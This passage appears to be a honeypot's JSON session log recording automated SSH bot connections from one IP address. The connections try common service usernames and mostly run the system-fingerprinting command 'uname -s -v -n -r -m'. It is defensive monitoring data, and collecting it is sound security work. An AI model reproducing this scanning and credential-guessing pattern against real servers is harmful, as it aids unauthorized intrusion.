  "username": "trader",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 233,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:04:35.479492+00:00",
  "ended_at": "2026-08-27T03:04:39.659831+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1f32ecbc-5491-4931-b4ab-496f39f5c695",
  "name": "plush-forlorn-panther",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 39756,
  "username": "fivem",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 281,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:04:35.440164+00:00",
  "ended_at": "2026-08-27T03:04:39.184715+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "23747b60-cbc5-4dde-ac61-b47e348b03fe",
  "name": "fabled-mottled-condor",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 49558,
  "username": "dolphinscheduler",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 316,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:04:32.685971+00:00",
  "ended_at": "2026-08-27T03:04:35.909221+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7e0d28b6-b4bd-4340-b982-c64573107da2",
  "name": "patient-bold-hare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 49534,
  "username": "recorder",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 356,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:04:32.628086+00:00",
  "ended_at": "2026-08-27T03:04:40.960734+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "d2fd8b51-ef4a-4c49-9bdd-7d74b0fa7175",
  "name": "creaky-frugal-raven",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 56514,
  "username": "default",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T03:04:23.578252+00:00",
  "ended_at": "2026-08-27T03:04:25.407402+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a5f8d828-a2ea-406c-91ed-904f3d9180ef",
  "name": "tidal-mighty-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 43958,
  "username": "default",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 211,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:04:19.670599+00:00",
  "ended_at": "2026-08-27T03:04:25.409426+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1660
 },
 {
  "id": "a1759a47-e738-43c3-a737-08b18e0d5bde",
  "name": "feral-silent-otter",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 39702,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 231,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:04:13.810395+00:00",
  "ended_at": "2026-08-27T03:04:18.128998+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ad1c4e0b-4c54-417f-9bf8-c77a19d62954",
  "name": "fleeting-gnarled-civet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 38978,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 192,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:04:00.111737+00:00",
  "ended_at": "2026-08-27T03:04:05.484485+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ef5395c8-59e0-4414-a048-e07e0ff5d01b",
  "name": "sterling-dusty-zebu",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 59686,
  "username": "kingbase",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T03:03:55.531698+00:00",
  "ended_at": "2026-08-27T03:03:57.705594+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "965db939-4087-49ba-be5a-930329df5b0b",
  "name": "gleaming-daring-crossbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 38922,
  "username": "administrator",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 197,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:03:54.978700+00:00",
  "ended_at": "2026-08-27T03:03:58.113855+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c701fed0-4548-4fe0-a782-90c994c0e23a",
  "name": "fleeting-snowy-squirrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 38798,
  "username": "kingbase",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 287,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:03:50.819281+00:00",
  "ended_at": "2026-08-27T03:03:57.704270+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "6eafec67-0087-42ba-8af6-206a19124789",
  "name": "frosty-frugal-bullfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 51262,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 232,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:03:49.902832+00:00",
  "ended_at": "2026-08-27T03:03:53.421141+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "60ed9ab7-38ed-411f-bbf5-57d012cac1d5",
  "name": "lawful-thrifty-hedgehog",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 51184,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 396,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:03:41.256679+00:00",
  "ended_at": "2026-08-27T03:03:44.334569+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "17e48f33-6e73-4825-a0dc-97ebe0509713",
  "name": "lively-frugal-hedgehog",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 42460,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 443,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:03:39.231906+00:00",
  "ended_at": "2026-08-27T03:03:42.152745+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "96f43e14-5319-44b6-baf5-d7681a3a14fd",
  "name": "candid-clever-finch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 42388,
  "username": "alex",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 237,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:03:32.956842+00:00",
  "ended_at": "2026-08-27T03:03:37.321015+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4797a1c3-82f6-4869-88d5-25bd51810c27",
  "name": "inland-nimble-quoll",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 46630,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 277,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:03:20.152619+00:00",
  "ended_at": "2026-08-27T03:03:26.422252+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a1af637b-56a9-442e-8562-3a9aca908d49",
  "name": "nautical-thrifty-grouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 46590,
  "username": "user2",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 275,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:03:19.775702+00:00",
  "ended_at": "2026-08-27T03:03:23.283861+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "000cc196-eea2-4872-998f-ca8560e81895",
  "name": "civil-fickle-heron",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 59358,
  "username": "root1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 431,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:03:12.137635+00:00",
  "ended_at": "2026-08-27T03:03:17.503238+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c253d511-6211-46d5-8e74-596125fb8788",
  "name": "ashen-vaulted-jackal",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "43.155.195.141",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T03:03:07.752198+00:00",
  "ended_at": "2026-08-27T03:19:06.651361+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fbd2bbf0-2ee9-4be8-bfd2-4a95ceeca3a2",
  "name": "sterling-pleasant-seal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 59260,
  "username": "deploy",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 254,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:03:03.167494+00:00",
  "ended_at": "2026-08-27T03:03:09.129172+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0b49ea42-ef7c-4030-b154-5e6c0a92e99b",
  "name": "civil-sturdy-gharial",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 56366,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 351,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:03:00.155781+00:00",
  "ended_at": "2026-08-27T03:03:04.861926+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "01420f38-7078-4dd8-8bcd-0b1cac1cfe54",
  "name": "sooty-murky-flamingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 44096,
  "username": "hadoop",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 265,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:02:56.234121+00:00",
  "ended_at": "2026-08-27T03:02:59.319884+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9aa59f74-258e-401b-8971-718724bf4120",
  "name": "gnarled-loyal-fieldfare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 44044,
  "username": "mysql",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 293,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:02:44.325244+00:00",
  "ended_at": "2026-08-27T03:02:49.081488+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5deb6649-41ff-4713-8473-10203aa182e6",
  "name": "painted-solemn-ferret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 46032,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 309,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:02:41.891302+00:00",
  "ended_at": "2026-08-27T03:02:44.620441+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f41c890f-e705-41eb-9a31-20cc510a3d83",
  "name": "plucky-lofty-dingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 46954,
  "username": "deployer",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 288,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:02:35.491815+00:00",
  "ended_at": "2026-08-27T03:02:40.361468+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5f9b6d59-11c6-4f0e-9b30-dbfbbb266b7e",
  "name": "oaken-seaward-pika",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 50316,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 460,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:02:23.157945+00:00",
  "ended_at": "2026-08-27T03:02:29.288910+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f858ef5d-ad30-4e05-8f10-6f800a8eeeea",
  "name": "ruddy-nameless-antelope",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 46912,
  "username": "webadmin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 257,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:02:22.889498+00:00",
  "ended_at": "2026-08-27T03:02:26.293495+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a0f2fb6d-6893-403f-ac33-6ad0181c8d0f",
  "name": "twilight-barren-addax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 50258,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 377,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:02:14.330993+00:00",
  "ended_at": "2026-08-27T03:02:17.660173+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8d600dab-a314-4eeb-8164-747a8872b0c8",
  "name": "orderly-gloomy-cicada",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 44566,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 390,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:02:06.244250+00:00",
  "ended_at": "2026-08-27T03:02:10.541013+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0a3f9079-b90d-4644-b266-e57122984415",
  "name": "sturdy-seaward-avocet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 34312,
  "username": "vncuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 354,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:02:04.590016+00:00",
  "ended_at": "2026-08-27T03:02:10.532281+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "da2a392e-7bad-484f-8974-9300f47eab6f",
  "name": "electric-hollow-sandpiper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 34262,
  "username": "user1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 229,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:01:58.694796+00:00",
  "ended_at": "2026-08-27T03:02:01.928894+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2259d629-c020-48bb-aab8-ad0503f9874b",
  "name": "crystal-marbled-pipit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 34314,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 440,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:01:54.530413+00:00",
  "ended_at": "2026-08-27T03:02:00.206808+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c176240f-4f1c-4041-9c22-5f8490eb5b0b",
  "name": "proud-silent-antelope",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55106,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 370,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:01:44.866082+00:00",
  "ended_at": "2026-08-27T03:01:48.371506+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b815134f-fbfd-40da-8a55-650e3edefe9f",
  "name": "dewy-ruddy-flamingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55144,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 316,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:01:44.617302+00:00",
  "ended_at": "2026-08-27T03:01:48.821267+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0bb16e03-cfb1-4817-8665-b245caabc272",
  "name": "brazen-idle-bunting",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 40926,
  "username": "splunk",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 290,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:01:32.689966+00:00",
  "ended_at": "2026-08-27T03:01:38.734094+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9c9a4ba0-471a-40c8-9ca8-7b1c540c0ecb",
  "name": "early-feral-hyrax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 40892,
  "username": "openclaw",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 320,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:01:27.904038+00:00",
  "ended_at": "2026-08-27T03:01:33.195123+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d30e20ff-1588-45c6-8c5f-22ae50f45949",
  "name": "prickly-twilight-tinamou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 42638,
  "username": "student",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 305,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:01:23.477446+00:00",
  "ended_at": "2026-08-27T03:01:29.153544+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "eb253e79-e4dd-461d-9e6a-05cc11991bd9",
  "name": "zealous-watchful-falcon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 60508,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 282,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:01:20.773118+00:00",
  "ended_at": "2026-08-27T03:01:26.668346+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5a29a98d-2601-4516-92c0-34ed196732f5",
  "name": "rapid-gentle-dolphin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 60390,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 321,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:01:06.907038+00:00",
  "ended_at": "2026-08-27T03:01:12.167426+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ba073567-d8dc-451d-9dd4-70dbd973bcbc",
  "name": "cobalt-shaded-skink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 52330,
  "username": "trader",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 423,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:01:06.324995+00:00",
  "ended_at": "2026-08-27T03:01:09.061907+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0be2e39a-d8e0-4a11-a637-51948d9db9a1",
  "name": "painted-knotted-pheasant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 44144,
  "username": "trader",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 278,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:00:51.538254+00:00",
  "ended_at": "2026-08-27T03:00:56.563794+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ac7f6a6b-5865-402d-859b-3c556ea1ac3f",
  "name": "bashful-weathered-walrus",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 52610,
  "username": "postgres",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 328,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:00:51.377737+00:00",
  "ended_at": "2026-08-27T03:00:54.270490+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "66d98385-25e2-46c8-8506-a3fe63c0614b",
  "name": "electric-wandering-chickadee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 44068,
  "username": "deploy",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 301,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:00:46.742429+00:00",
  "ended_at": "2026-08-27T03:00:51.117709+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b5cf5de7-ea65-4d4e-a690-176b58bf379c",
  "name": "polar-crimson-seal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 52546,
  "username": "ftpuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 310,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:00:38.134671+00:00",
  "ended_at": "2026-08-27T03:00:41.244428+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "36d5df53-b523-40e8-b9b8-4b2ed61d18bd",
  "name": "indigo-flinty-galago",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 42650,
  "username": "Asalem",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T03:00:30.176284+00:00",
  "ended_at": "2026-08-27T03:00:32.562592+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1e453a09-c9d1-49c7-9a4c-b6db74fb5046",
  "name": "ruddy-graceful-sloth",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 33062,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 308,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:00:28.447642+00:00",
  "ended_at": "2026-08-27T03:00:31.937614+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "bd2617f5-0e76-40ab-9b55-1e9b879099fc",
  "name": "forlorn-prickly-walrus",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 40848,
  "username": "Asalem",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 323,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:00:23.636940+00:00",
  "ended_at": "2026-08-27T03:00:32.561579+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "8509ba49-bdf1-474d-9a62-3256d7294533",
  "name": "mottled-dewy-vulture",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 60430,
  "username": "wizard",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T03:00:19.475119+00:00",
  "ended_at": "2026-08-27T03:00:21.638128+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "deb956b9-35c1-4399-b68b-7560a0d386b6",
  "name": "mottled-glassy-warbler",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 41276,
  "username": "wizard",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 316,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:00:15.031651+00:00",
  "ended_at": "2026-08-27T03:00:21.638771+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "35151245-03ed-4299-b915-b4f2763e50d0",
  "name": "graceful-grumpy-gadwall",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 36082,
  "username": "server",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 304,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:00:03.200814+00:00",
  "ended_at": "2026-08-27T03:00:09.228047+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
